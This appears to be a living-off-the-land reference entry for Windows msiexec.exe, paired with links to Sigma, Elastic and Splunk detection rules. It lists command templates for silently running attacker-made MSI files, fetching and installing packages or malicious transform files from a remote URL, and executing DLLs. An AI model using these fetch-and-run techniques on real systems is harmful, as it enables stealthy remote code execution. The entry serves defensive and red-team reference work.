Msiexec.exe
Full path
C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exeCommands
Execute custom made msi file with attack code
msiexec /quiet /i {PATH:.msi}Installs the target .MSI file silently.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute custom made msi file with attack code from remote server
msiexec /q /i {REMOTEURL}Installs the target remote & renamed .MSI file silently.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute dll files
msiexec /y {PATH_ABSOLUTE:.dll}Calls DllRegisterServer to register the target DLL.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute dll files
msiexec /z {PATH_ABSOLUTE:.dll}Calls DllUnregisterServer to un-register the target DLL.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Install trusted and signed msi file, with additional attack code as transformation file, from a remote server
msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qbInstalls the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml
- Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- Splunk https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml
- IOCmsiexec.exe retrieving files from Internet
Resources
acknowledgement: netbiosX @netbiosX, Philip Tsukerman @PhilipTsukerman